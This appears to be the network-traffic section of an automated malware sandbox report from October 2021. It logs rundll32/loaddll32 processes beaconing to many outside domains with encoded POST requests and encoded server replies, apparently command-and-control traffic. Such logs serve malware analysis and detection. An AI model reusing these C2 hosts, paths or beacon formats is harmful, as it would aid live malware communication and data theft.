4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpzeUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.2.3	50131	184.168.102.202	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:30.217658043 CEST	7377	OUT	POST /VIVB6kFar/E3I9OQQ5Cwg5GyJzDwF6PhI7dUZ6c3lifn1yZX5heA== HTTP/1.1 Host: dhananialegalaid.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:30.823342085 CEST	7379	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:30 GMT Server: Apache X-Powered-By: PHP/7.3.30 Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Vary: User-Agent Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.2.3	50132	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:30.814699888 CEST	7379	OUT	POST /lBawcxb5/Lit5Oh4tBDx8BCAjKTQqIx54OnoMeAQkRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:31.303275108 CEST	7380	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:30 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 36 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh6fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.3	50133	67.227.144.24	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:31.307964087 CEST	7381	OUT	POST /n1n3Sh4NSO08/DgERDQ0fBA4dCyw5EiEffXMyRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: aulaintelimundo.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:31.568841934 CEST	7382	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:31 GMT Server: Apache X-Powered-By: PHP/7.2.34 Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Cache-Control: max-age=600 Expires: Mon, 04 Oct 2021 14:13:31 GMT Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.2.3	50134	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:31.710266113 CEST	7382	OUT	POST /lBawcxb5/LAERIQwdGRp1Jgg8HhRGenN5Yn59cmV+YXg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:32.195822001 CEST	7384	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:31 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 36 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh6fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.3	50135	185.146.22.232	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:31.831480980 CEST	7383	OUT	POST /IvyhnWs8j/GjkADyUYD3oKOx0lOD0KOCURIiw8CEJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: muwatin.net Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:32.202469110 CEST	7384	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 x-powered-by: PHP/7.4.23 content-type: text/html; charset=UTF-8 content-length: 0 date: Mon, 04 Oct 2021 14:04:17 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.2.3	50137	185.58.73.28	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:32.543519020 CEST	7385	OUT	POST /a9TmwEDR/HD0hGnwRJQ8CBTpyHQYeHg8EAAVzIEJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: nkp.hr Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:32.864415884 CEST	7386	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:32 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.3	50136	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:32.635482073 CEST	7386	OUT	POST /lBawcxb5/MQkFdDsfQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:33.179266930 CEST	7387	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:32 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 36 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh6fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.2.3	50138	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:33.518738031 CEST	7388	OUT	POST /lBawcxb5/HUN6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:33.981453896 CEST	7389	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:33 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 36 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh6f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.3	50139	103.125.80.58	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:33.689743042 CEST	7389	OUT	POST /Y3kzp0WtE0/CA5yfg0zKSN5AXtDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: kvrassociates.net Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:34.416146994 CEST	7391	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 0 date: Mon, 04 Oct 2021 14:03:34 GMT server: LiteSpeed

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.2.3	50140	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:34.331793070 CEST	7390	OUT	POST /lBawcxb5/BBIhehwhcwoBHgACGgIbIBg+On8DKUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:34.907670021 CEST	7392	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:34 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 36 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh6eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49756	165.227.90.171	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:10.316231012 CEST	1044	OUT	POST /4ByNgaVdId6/OQsaDixzHTgtfjMcGypGenN5Yn59cmV+YXg= HTTP/1.1 Host: marianaleyton.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49783	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:25.728524923 CEST	1089	OUT	POST /lBawcxb5/OhpCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:26.201457977 CEST	1091	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:25 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpzekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.3	50141	165.227.90.171	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:34.740784883 CEST	7391	OUT	POST /4ByNgaVdId6/EQ8bRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: marianaleyton.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	192.168.2.3	50142	199.193.116.170	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:35.247159958 CEST	7393	OUT	POST /eJDLM6siEv/InIlKh1yBS96NyYmLxgHJC4fRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: profitshub.in Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:35.484635115 CEST	7394	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:35 GMT Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.2.3	50143	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:35.290021896 CEST	7394	OUT	POST /lBawcxb5/HCIIdQESfSk0F38yLScfOQk/LwZyekJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
